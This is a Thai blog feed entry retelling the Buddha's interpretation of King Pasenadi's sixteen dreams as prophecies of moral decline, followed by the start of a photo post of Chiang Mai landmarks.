หลายๆ สิ่งเครื่องมือทางวิทยาศาสตร์ ก็สามารถนำมาใช้คาดการณ์ล่วงหน้าและรับมือได้ทัน แต่ก็มีไม่น้อย ที่ความก้าวหน้าทางเทคโนโลยียังไปไม่ถึง แต่หากจะบอกว่าสภาพการณ์หลายๆ อย่างที่อุบัติขึ้นในสมัยปัจจุบัน เป็นสิ่งที่พระพุทธเจ้า ได้ทำนายล่วงหน้ามาแล้วกว่า 2500 ปี หลายๆ คนอาจจะยังไม่เชื่อ หรือไม่เคยได้ยินได้ฟังมาก่อน ดังนั้น กลุ่มประชาสัมพันธ์ สำนักงานคณะกรรมการวัฒนธรรมแห่งชาติ กระทรวงวัฒนธรรม จึงขอนำเรื่อง “พุทธทำนาย” อันปรากฏอยู่ในอรรถกถาพระไตรปิฎก มหาสุบินนิมิตชาดก เอกนิบาตชาดก ขุททกนิกาย ซึ่งเป็นเรื่องเล่าถึงสมัยที่พระพุทธเจ้า ได้ทรงทำนายพระสุบิน(ความฝัน) ให้พระเจ้าปเสนทิโกศล จำนวน 16 ข้อ ว่ามีความหมายอย่างไร ดังนี้ &lt;br /&gt;
&lt;br /&gt;
วันหนึ่งพระเจ้าปเสนทิโกศล ผู้ครองกรุงสาวัตถี ได้เสด็จเข้าสู่นิทรารมย์ในราตรีกาล ครั้นล่วงปัจฉิมยามใกล้รุ่ง ได้ทอดพระเนตรเห็น พระสุบินนิมิตอันใหญ่หลวง ถึง 16 ประการ อันเป็นพระสุบินที่แปลกประหลาด จึงทรงตกพระทัยตื่นบรรทม และครั้นรุ่งเช้า ก็ได้ให้พวกพราหมณ์ปุโรหิตประจำราชสำนักทำนาย พวกพราหมณ์ปุโรหิต ก็พากันทำนายว่าเป็นพระสุบินที่ร้าย และว่าพระองค์จะต้องประสบภัยอันตราย 3 ประการ ไม่เสียราชทรัพย์ ก็จะมีโรคภัยไข้เจ็บเบียดเบียน หรือไม่ก็ต้องสวรรคต อย่างใดอย่างหนึ่ง และแนะให้พระองค์ทำพิธีบูชายัญสัตว์ เพื่อสะเดาะห์เคราะห์ เมื่อพระนางมัลลิกา พระมเหสีทราบเรื่องเข้า จึงทูลให้ไปขอคำแนะนำจากพระพุทธเจ้า ซึ่งพระพุทธองค์ก็ได้ทรงทำนายว่า เหตุร้ายนั้นจะมีแน่นอน เพียงแต่มิใช่เกิดแก่พระเจ้าปเสนทิโกศล หรือแว่นแคว้นของพระองค์ แต่เหตุร้ายเหล่านี้จะเกิดแก่สัตว์โลกทั่วๆ ไป และแก่พระศาสนาของพระพุทธองค์ในภายภาคหน้า เมื่อล่วงเลยพุทธกาลไปแล้ว 2500 ปี เมื่อศาสนาเสื่อมลง (กล่าวกันว่า อายุของพุทธศาสนาในกัลป์นี้ ยืนยาวเพียง 5,000 ปี หลังจากนั้น ต้องรอยุคของพระศรีอาริยเมตไตรย์ พระพุทธเจ้าองค์ต่อไปเสด็จมาโปรดสัตว์)&lt;br /&gt;
&lt;br /&gt;
ความฝันของพระเจ้าปเสนทิโกศล และคำทำนายของพระพุทธเจ้าทั้ง 16 ประการ ประกอบด้วย&lt;br /&gt;
&lt;br /&gt;
1. ทรงฝันว่า มีโคตัวผู้สีเหมือนดอกอัญชัญ 4 ตัว ต่างคิดจะชนกัน ก็พากันวิ่งมาสู่ท้องพระลานหลวงจาก 4 ทิศ ฝูงชนต่างรอดู โคทั้งสี่ก็ส่งเสียงคำรามลั่น แต่แล้วต่างก็ถอยออกไป ไม่ชนกัน &lt;br /&gt;
พระ พุทธเจ้าได้ทรงทำนายว่า ในอนาคตในชั่วศาสนาของพระองค์ เมื่อโลกหมุนไปถึงจุดที่เสื่อมลง มนุษย์ไม่ตั้งอยู่ในศีลในธรรม ฝนฟ้าจักแล้ง ทุพภิกขภัยจักเกิดขึ้น คล้ายเมฆตั้งเค้าจะมีฝน มีเสียงคำรามกระหึ่ม แต่แล้วก็ไม่ตก กลับเลยหายไป เหมือนโคตั้งท่าจะชนกัน แต่ไม่ชนกันฉะนั้น&lt;br /&gt;
&lt;br /&gt;
2. ทรงฝันว่า ต้นไม้เล็กๆ และกอไผ่ที่โตเพียงคืบบ้าง ศอกบ้าง ก็ออกดอกออกผลแล้ว &lt;br /&gt;
พระ พุทธองค์ทรงทำนายว่า ต่อไปเมื่อโลกเสื่อม มนุษย์แม้จะมีอายุเยาว์ มีวัยยังไม่สมบูรณ์ก็จะมีราคะกล้า และสมสู่กันตั้งแต่อายุยังน้อย และจะมีลูกแต่เด็กๆ เหมือนต้นไม้เล็กๆ แต่ก็มีผลแล้ว&lt;br /&gt;
&lt;br /&gt;
3. ทรงฝันว่า ทรงเห็นแม่โคใหญ่ๆ พากันดื่มนมของฝูงลูกโคที่เพิ่งเกิด &lt;br /&gt;
ทรง ทำนายว่า ต่อไปในอนาคตการเคารพนบนอบผู้ใหญ่ เช่น พ่อแม่ ครูบาอาจารย์จะเสื่อมถอย คนเฒ่าคนแก่พ่อแม่เมื่อหมดที่พึ่ง หาเลี้ยงตนไม่ได้ ก็ต้องง้อ ต้องประจบเด็กๆ ดังที่แม่โคที่ต้องกินนมลูกโคฉะนั้น&lt;br /&gt;
&lt;br /&gt;
4. ทรงฝันว่าผู้คนไม่ใช้วัวตัวใหญ่ ที่สมบูรณ์แข็งแรงเทียมแอกลากเกวียน กลับไปใช้โครุ่นๆ ที่ยังปราศจากกำลังมาลาก เมื่อมันลากเกวียนให้แล่นไม่ได้ มันก็สลัดแอกนั้นเสีย &lt;br /&gt;
ทรงทำนายว่า ในภายหน้าเมื่อผู้มีอำนาจไม่ตั้งอยู่ในธรรม แทนที่จะยกย่องและมอบหมายหน้าที่ ให้กับผู้มีสติปัญญา ความรู้ กลับไปมอบยศศักดิ์ให้กับคนหนุ่มที่อ่อนหัด ด้อยประสบการณ์ ทำให้ปฏิบัติหน้าที่ได้ไม่ดี กิจการต่างๆ ก็ไม่สำเร็จ ก็เหมือนใช้โครุ่นมาเทียมแอก เกวียนก็แล่นไม่ได้ฉันใด ก็ฉันนั้น&lt;br /&gt;
&lt;br /&gt;
5. ทรงฝันว่าเห็นม้าตัวหนึ่ง มีปากสองข้าง ฝูงชนก็เอาหญ้าไปป้อนที่ปากทั้งสองข้าง มันก็กินทั้งสองข้าง&amp;nbsp; &lt;br /&gt;
ทรง ทำนายว่า ในอนาคตเมื่อผู้บริหาร หรือผู้มีอำนาจไม่ดำรงอยู่ในธรรม ตั้งคนพาล หรือคนไม่มีศีลธรรมไว้ในตำแหน่งอันมีผลต่อผู้อื่น คนเหล่านั้นก็จะไม่นึกถึงบาปบุญ คุณโทษ แต่จะตัดสินคดีต่างๆ ตามแต่ใจชอบ โดยเอาสินบนจากทั้งสองฝ่ายเป็นประมาณ ดังม้าที่กินหญ้าทั้งสองปาก&lt;br /&gt;
&lt;br /&gt;
6. ทรงฝันว่าฝูงชนเอาถาดทองราคาแพง ไปให้หมาจิ้งจอกแก่ตัวหนึ่ง พร้อมเชื้อเชิญให้หมาจิ้งจอกตัวนั้น ถ่ายปัสสาวะใส่ถาดทองนั้น &lt;br /&gt;
ทรง ทำนายว่า ต่อไปคนดีมีสกุลทั้งหลายจะสิ้นอำนาจวาสนา คนตระกูลต่ำ หรือคนพาลจะได้เป็นใหญ่เป็นโต และคนมีตระกูล ก็จะต้องยกลูกสาว ให้แก่ผู้ไร้ตระกูลเหล่านั้น เหมือนเอาถาดทองไปให้หมาปัสสาวะรด&lt;br /&gt;
&lt;br /&gt;
7.ทรง ฝันว่า มีชายคนหนึ่งนั่งฟั่นเชือก แล้วหย่อนไปในที่ใกล้เท้า แม่หมาจิ้งจอกโซตัวหนึ่ง นอนอยู่ใต้ตั่งที่บุรุษนั้นนั่งอยู่ แล้วก็กัดกินเชือกนั้น โดยที่เขาไม่รู้ตัว &lt;br /&gt;
ทรง ทำนายว่า ในกาลข้างหน้า ผู้หญิงจะเหลาะแหละ โลเล ลุ่มหลงในสุรา เอาแต่แต่งตัว เที่ยวเตร่ ประพฤติทุศีล แล้วก็จะเอาทรัพย์ที่สามีหาได้ด้วยความลำบากไปใช้ หรือให้ชายชู้ เหมือนนางหมาโซที่นอนใต้ตั่ง คอยกัดกินเชือกที่เขาฟั่น และหย่อนลงไว้ใกล้เท้า&lt;br /&gt;
&lt;br /&gt;
8. ทรงฝันว่ามีตุ่มน้ำเต็มเปี่ยมตุ่มหนึ่งวางอยู่ตรงประตูวัง แวดล้อมด้วยตุ่มว่างๆ เป็นอันมาก แต่คนก็ยังไปตักน้ำใส่ตุ่มที่เต็มอยู่ จนล้นแล้วล้นอีก โดยไม่เหลียวแลจะตักใส่ตุ่มที่ว่างๆ นั้นเลย &lt;br /&gt;
ทรง ทำนายว่า ในอนาคต เมื่อศาสนาเสื่อม คนเป็นใหญ่หรือมีอำนาจ จะเบียดเบียนหรือเอาเปรียบผู้ด้อยกว่า คนที่รวยอยู่แล้ว ก็จะมีคนจนหารายได้ ไปส่งเสริมให้รวยยิ่งขึ้น ดังฝูงชนที่ต้องตักน้ำใส่ตุ่มใหญ่ที่เต็มอยู่แล้วจนล้น ส่วนตุ่มที่ว่างอยู่กลับไม่ไปใส่น้ำ&lt;br /&gt;
&lt;br /&gt;
9. ทรงฝันเห็นสระแห่งหนึ่ง มีบัวนานาชนิดขึ้นอยู่เต็ม และมีท่าขึ้นลงโดยรอบ สัตว์ต่างๆ ก็พากันดื่มน้ำในสระ แต่แทนที่น้ำบริเวณที่สัตว์เหยียบย่ำจะขุ่น กลับใสสะอาด ส่วนน้ำที่อยู่ลึกกลางสระที่สัตว์ไม่ไปดื่มหรือ เหยียบย่ำแทนที่จะใส กลับขุ่นข้น &lt;br /&gt;
ทรงทำนายว่า ต่อไป เมื่อคนมีอำนาจไม่ตั้งอยู่ในธรรม ขาดเมตตา คอยใช้อำนาจ รีดนาทาเร้นหรือกินสินบน ชาวบ้านชาวเมือง ก็จะหนีไปอยู่ตามชายแดนหรือที่อื่นๆ ทำให้ที่นั้นๆ ที่คนพากันไปอยู่มีความมั่นคงเป็นปึกแผ่น เหมือนน้ำรอบๆ สระที่ใส ส่วนเมืองหลวงกลับว่างเปล่า เหมือนกลางสระที่ขุ่น&lt;br /&gt;
&lt;br /&gt;
10. ทรงฝันว่า เห็นข้าวที่คนหุงในหม้อใบเดียวกัน สุกไม่เท่ากัน โดยแบ่งออกเป็น 3 ส่วนคือ ข้าวแฉะ ข้าวดิบ และข้าวสุกดี &lt;br /&gt;
ทรง ทำนายว่า ในอนาคต เมื่อคนทั้งหลายไม่อยู่ในศีลในธรรมกันมากขึ้น ก็จะทำให้ฝนฟ้าไม่ตกต้องตามฤดูกาล หรือตกไม่ทั่วถึง ทำให้การเพาะปลูกบางแห่งได้ผล บางแห่งก็ไม่ได้ผล เช่นเดียวกับข้าวที่มีสุกบ้าง ดิบบ้าง และแฉะบ้าง&lt;br /&gt;
&lt;br /&gt;
11. ทรงฝันว่าคนนำแก่นจันทน์ที่มีราคาแพง ไปแลกกับเปรียงเน่า (อ่านว่า เปฺรียง มี 3 ความหมาย คือ 1. นมส้มผสมน้ำแล้วเจียวให้แตกมัน 2.น้ำมันจากไขข้อวัว และ 3.เถาวัลย์เปรียง แต่ในที่นี้น่าจะหมายถึงเถาวัลย์เปรียง เทียบกับแก่นจันทน์ที่เป็นไม้เหมือนกันมากกว่า 2 ความหมายแรก) &lt;br /&gt;
ทรง ทำนายว่า กาลภายหน้า พระภิกษุอลัชชีเห็นแก่ได้ทั้งหลาย แทนที่จะนำธรรมะ ที่พระพุทธองค์สอน ไปสอนสั่งให้คนหลุดพ้นจากความทุกข์ และละความโลภ กลับใช้เป็นเครื่องมือเพื่อหากิน หาปัจจัยบริจาคเข้าตัวเอง เหมือนเอาแก่นจันทน์ (ธรรมะคำสอนที่ดี) ไปแลกเอาเถาวัลย์เน่า (ลาภอามิสที่ได้รับมา ซึ่งไม่จีรังและไม่ช่วยให้พ้นทุกข์จริงๆ ได้) &lt;br /&gt;
&lt;br /&gt;
12. ทรงฝันเห็นกระโหลกน้ำเต้าจมน้ำได้ &lt;br /&gt;
ทรง ทำนายว่า ต่อไปคำพูดของคน ที่ไม่ควรจะได้รับความเชื่อถือ กลับจะได้รับความเชื่อถือ โดยเปรียบถ้อยคำของคนที่ไม่น่าเชื่อว่ามีน้ำหนักเบาเหมือนกับผลน้ำเต้า ซึ่งปกติจะลอยน้ำ แต่เมื่อคนเชื่อว่าคำพูดเหล่านั้นมีน้ำหนัก หรือหนักแน่น จึงเปรียบคำพูดนั้นว่ามีน้ำหนัก ราวกับน้ำเต้าที่จมน้ำได้&lt;br /&gt;
&lt;br /&gt;
13. ทรงฝันว่าศิลาแท่งทึบขนาดเรือน ลอยน้ำได้เหมือนเรือ &lt;br /&gt;
ทรง ทำนายว่า ถ้อยคำของคนที่ควรได้รับการเชื่อถือ ซึ่งหนักแน่น มีน้ำหนักเปรียบประดุจแท่งศิลา กลับไม่ได้รับความเชื่อถือ หรือกลายเป็นถ้อยคำที่ไม่มีน้ำหนักเหมือน เรือที่ลอยได้ ข้อนี้ตรงกันข้ามกับข้อที่แล้ว คือ คนหันไปเชื่อคำพูดคนที่ไม่ควรเชื่อ เหมือนสิ่งที่ควรลอยกลับจม สิ่งที่ควรจมกลับลอย&lt;br /&gt;
&lt;br /&gt;
14. ทรงฝันว่า ทรงเห็นฝูงเขียดตัวเล็กๆ วิ่งไล่กวดงูเห่าตัวใหญ่ และกัดเนื้องูเห่าขาดเหมือนกัดก้านบัว แล้วกลืนกินเข้าไป &lt;br /&gt;
ทรง ทำนายว่า เมื่อมนุษย์ปล่อยตัวปล่อยใจตามกิเลส ราคะ สามีจะตกอยู่ในอำนาจของเมียเด็ก และจะถูกดุด่าว่ากล่าวเช่นเดียวกับคนรับใช้ เหมือนเขียดตัวเล็กๆ แต่กลับกินงูได้&lt;br /&gt;
&lt;br /&gt;
15. ทรงฝันว่า ฝูงพญาหงส์ทอง ที่มีขนเป็นทอง ถูกแวดล้อมด้วยกา &lt;br /&gt;
ทรงทำนายว่า ในอนาคตผู้มีตระกูลต้องไปเที่ยวประจบ และสวามิภักดิ์ต่อผู้ไม่มีตระกูล เหมือนหงส์ทองแวดล้อมด้วยกา&lt;br /&gt;
&lt;br /&gt;
16. ทรงฝันว่า ฝูงแกะพากันไล่กวดฝูงเสือเหลือง และกัดกิน ทำให้เสืออื่นๆ สะดุ้งกลัว จนต้องหนีไปแอบซ่อนตัวจากฝูงแกะ &lt;br /&gt;
ทรง ทำนายว่าต่อไปภายหน้า คนชั่ว หรือคนที่ไม่ดีจะเรืองอำนาจ และใช้อำนาจเป็นธรรม ทำให้คนดีถูกทำร้าย หรือไม่ได้รับความเป็นธรรม ต้องหลบหนี ซ่อนตัวจากภัยร้ายเหล่านี้ เหมือนเสือซ่อนตัวจากแกะ&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
เมื่อ พิจารณาความฝัน จะเห็นว่าหลายข้อในความฝัน เป็นสิ่งที่ผิดไปจากธรรมชาติ เช่น แม่โคกินนมลูกโค ม้าสองปาก เขียดกินงู และแกะกินเสือ เป็นต้น ซึ่งสิ่งเหล่านี้ ล้วนมีนัยอันไปสู่พุทธทำนายทั้งสิ้น หลายคนอาจจะสงสัยว่า พระเจ้าปเสนทิโกศล กษัตริย์ในสมัยพุทธกาล ทำไมฝันได้ไกลไปถึงอนาคต อันไม่เกี่ยวข้องกับพระองค์ได้ถึงเพียงนี้ ผู้เขียนเชื่อว่าคงเป็นเพราะเทวดาดลใจ ให้พระองค์ฝันแปลกประหลาด เพื่อพระบรมศาสดาจะได้ฝาก “พุทธทำนาย” เป็นคำพยากรณ์อันอมตะไว้ เป็นเครื่องเตือนสติ ให้มนุษย์โลกได้ตระหนัก และระมัดระวังภัยพิบัตินานัปการ ที่จะเกิดขึ้นในภายหน้า หลังจากที่พระพุทธองค์ดับขันธ์ปรินิพพานไปแล้ว เพราะคงเล็งเห็นด้วยญาณวิเศษแล้วว่า นับวันคนเราก็จะห่างไกลจากหลักธรรมคำสั่งสอนของพระองค์ จนเป็นเหตุให้มนุษย์มุ่งทำลาย เอารัดเอาเปรียบทั้งเพื่อนมนุษย์ด้วยกันเอง และสิ่งแวดล้อมรอบตัว เพื่อกอบโกยไปบำรุงบำเรอกิเลสแห่งตน โดยขาดความรัก ความเมตตาต่อกัน จึงทำให้คนเห็นแก่ตัว และมีผลให้สภาพแวดล้อม ธรรมชาติแปรปรวนไปหมด&lt;br /&gt;
&lt;br /&gt;
ในปัจจุบัน เหตุการณ์หลายๆ อย่างที่เกิดขึ้น ไม่ว่าจะเป็นปัญหาสิ่งแวดล้อมทางธรรมชาติ เช่น ฝนแล้ง อันทำให้เพาะปลูกได้ผลบ้าง ไม่ได้ผลบ้าง ปัญหาเรื่องศีลธรรมและจริยธรรม เช่น เด็กและเยาวชนแก่แดดขึ้น มีเพศสัมพันธ์ก่อนวัยเพิ่มขึ้น ลูกขาดความกตัญญู และความเคารพยำเกรงต่อพ่อแม่ อลัชชีหรือพระทุศีลมีมากขึ้น ชายแก่ตกอยู่ในอำนาจเมียเด็ก หรือปัญหาเรื่องเศรษฐกิจ การเมืองและสังคม เช่น คนขาดความรู้ประสบการณ์ ได้รับแต่งตั้งให้ปกครองบ้านเมืองเพิ่มขึ้น ขณะเดียวกัน ผู้มีอำนาจรับสินบน ก็มีให้เห็นอยู่ทั่วไป คนรวยยิ่งรวยเพราะมีช่องทาง และโอกาสเอาเปรียบคนจน เหมือนตุ่มใหญ่ที่คนตักน้ำไปใส่จนเต็มแล้วเต็มอีก แล้วปล่อยตุ่มเล็กให้ว่างเปล่า ตัวอย่างเหล่านี้ ล้วนไม่พ้นคำพยากรณ์ที่ทรงทำนาย บอกแก่พระเจ้าปเสนทิโกศลว่า จะเกิดขึ้นในอนาคตของสมัยโน้น ก็คือ สมัยนี้หรือปัจจุบันนั่นเอง&lt;br /&gt;
&lt;br /&gt;
อย่าง ไรก็ดี ก็ยังมีพุทธทำนาย เพิ่มเติมที่มีผู้ถอดความจากศิลาจารึก เชตมหาวิหาร สวนมฤคทายวัน ประเทศอินเดีย ความว่า พระพุทธองค์ได้ทรงตรัสกับพระอานนท์ว่า “....เมื่อศาสนาตถาคตล่วงเลยไปถึงกึ่งพุทธกาล สัตว์โลกทั้งหลายที่เกิดในยุคนั้น จะพบกับความลำบากทุกชาติทุกศาสนา ตามธรรมชาติอันหมุนเวียนของโลก ที่หมุนเวียนไปใกล้ความแตกทำลาย แผ่นดินแผ่นน้ำจะลุกเป็นไฟ มนุษย์และสัตว์จะได้รับภัยพิบัติสารพัดทั่วทิศ คนในสมัยนั้น(ปัจจุบัน) จะมีวิสัยโหดดุจกำเนิดจากสัตว์ป่าอำมหิต จะรบราฆ่าฟันกันถึงเลือดนองแผ่นดินแผ่นน้ำ ส่วนเวไนยสัตว์ผู้ขวนขวายในกุศลตามวัจนะของตถาคต ก็จะระงับร้อนไม่รุนแรง บ้านเมืองใดมีความเคารพยำเกรงในพระรัตนตรัย และคุณบิดามารดา เหตุร้ายภัยพิบัติจักเบาบาง แต่ก็จะหนีกฎธรรมชาติไม่พ้น...ในระยะนั้นศาสนาของตถาคตเสื่อมลงมาก เพราะพุทธบริษัทไม่ตั้งอยู่ในศีลธรรม เชื่อคำของคนโกง กล่าวคำเท็จ ไม่เคารพหลักธรรมนิยม คนประจบสอพลอได้รับการเชื่อถือในสังคม ผู้มีศีลธรรมประพฤติชอบ กลับไม่มีคนเคารพยำเกรง พระธรรมจะเริ่มเปล่งแสงรัศ มีฉายส่องโลกอีกวาระหนึ่ง&lt;br /&gt;
&lt;br /&gt;
เมื่อมีธรรมิกราชโพธิญาณบังเกิดขึ้น อยู่ในความอุปถัมภ์ของพระเถระผู้ทรงธรรมฤทธิ์ (น่าจะหมายถึงพระศรีอาริยเมตตไตรย์)....จะเสด็จมาเสริมสร้างพระศาสนา ของตถาคตให้รุ่งเรืองสืบไปอีก 5,000 พระวรรษา…คำทำนายของตถาคตนี้ ย่อมยังเวไนยสัตว์ให้ตั้งอยู่ในความไม่ประมาท ผู้ใดรู้แล้วไม่เชื่อ นับเป็นกรรมของสัตว์โลกที่ต้องสิ้นสุดไปตามกรรมชั่วของตน ผู้ใดปรารถนารอดพ้นจากภัยพิบัติ ให้รักษาศีลห้าประการ เจริญเมตตากรุณา ประกอบสัมมาอาชีพ มีใจสันโดษ รู้จักพอ ไม่หลงมัวเมาในอำนาจและลาภยศ ตั้งใจประพฤติตนตามคำสอนของตถาคตให้มั่นคง จึงจะพ้นอันตรายในยุคกึ่งพุทธกาล” นี่คือพุทธทำนายที่ทรงตรัสไว้ กว่า 2500 ปีล่วงมาแล้ว ส่วนใครจะเชื่อ จะปฏิบัติหรือไม่อย่างไร ก็คงเป็นไปตามกรรม ของแต่ละคนดังพระพุทธองค์ว่าไว้</content><link rel='replies' type='application/atom+xml' href='http://sawasdeechiangmai.blogspot.com/feeds/5072616221107825851/comments/default' title='ส่งความคิดเห็น'/><link rel='replies' type='text/html' href='http://sawasdeechiangmai.blogspot.com/2011/05/blog-post_745.html#comment-form' title='0 ความคิดเห็น'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5115672676120299344/posts/default/5072616221107825851'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5115672676120299344/posts/default/5072616221107825851'/><link rel='alternate' type='text/html' href='http://sawasdeechiangmai.blogspot.com/2011/05/blog-post_745.html' title='พุทธทำนาย'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/13644936924554290476</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5115672676120299344.post-8305907912515249913</id><published>2011-05-20T09:43:00.000+07:00</published><updated>2011-05-20T09:43:59.571+07:00</updated><title type='text'>เชียงใหม่ในแบบภาพวาด</title><content type='html'>&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://statics.atcloud.com/files/comments/78/785133/images/1_original.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; j8=&quot;true&quot; src=&quot;http://statics.atcloud.com/files/comments/78/785133/images/1_original.jpg&quot; width=&quot;234&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;วัดเจดีย์เหลี่ยม เวียงกุมกาม&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://statics.atcloud.com/files/comments/78/785116/images/1_original.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; j8=&quot;true&quot; src=&quot;http://statics.atcloud.com/files/comments/78/785116/images/1_original.jpg&quot; width=&quot;214&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;กาดหลวง&lt;br /&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://statics.atcloud.com/files/comments/78/785121/images/1_original.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; j8=&quot;true&quot; src=&quot;http://statics.atcloud.com/files/comments/78/785121/images/1_original.jpg&quot; width=&quot;214&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;น้ำตกแม่สา&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://statics.atcloud.com/files/comments/78/785140/images/1_original.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; j8=&quot;true&quot; src=&quot;http://statics.atcloud.com/files/comments/78/785140/images/1_original.jpg&quot; width=&quot;211&quot; /&gt;&lt;/a&gt;&lt;/div&gt;วัดพระสิงห์ &lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://statics.atcloud.com/files/comments/78/785142/images/1_original.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; j8=&quot;true&quot; src=&quot;http://statics.atcloud.com/files/comments/78/785142/images/1_original.jpg&quot; width=&quot;211&quot; /&gt;&lt;/a&gt;&lt;/div&gt;วัดเวฬุวัน &lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://statics.atcloud.com/files/comments/78/785143/images/1_original.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; j8=&quot;true&quot; src=&quot;http://statics.atcloud.com/files/comments/78/785143/images/1_original.jpg&quot; width=&quot;211&quot; /&gt;&lt;/a&gt;&lt;/div&gt;วัดสวนดอก &lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://statics.atcloud.com/files/comments/78/785147/images/1_original.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; j8=&quot;true&quot; src=&quot;http://statics.atcloud.com/files/comments/78/785147/images/1_original.jpg&quot; width=&quot;210&quot; /&gt;&lt;/a&gt;&lt;/div&gt;วัดอุปคุต &lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://statics.atcloud.com/files/comments/78/785151/images/1_original.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;214&quot; j8=&quot;true&quot; src=&quot;http://statics.atcloud.com/files/comments/78/785151/images/1_original.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;ถนนต้นยาง&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://statics.atcloud.com/files/comments/78/785117/images/1_original.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;207&quot; j8=&quot;true&quot; src=&quot;http://statics.atcloud.com/files/comments/78/785117/images/1_original.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;บันไดนาคขึ้นพระธาตุดอยสุเทพ&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://statics.atcloud.com/files/comments/78/785124/images/1_original.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;231&quot; j8=&quot;true&quot; src=&quot;http://statics.atcloud.com/files/comments/78/785124/images/1_original.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;น้ำแม่ข่า&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://statics.atcloud.com/files/comments/78/785127/images/1_original.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;211&quot; j8=&quot;true&quot; src=&quot;http://statics.atcloud.com/files/comments/78/785127/images/1_original.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;ปี๋ใหม่เมือง (วันสงกรานต์)&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://statics.atcloud.com/files/comments/78/785118/images/1_original.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;198&quot; j8=&quot;true&quot; src=&quot;http://statics.atcloud.com/files/comments/78/785118/images/1_original.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;สะพานนวรัตน์&lt;br /&gt;
&lt;br /&gt;
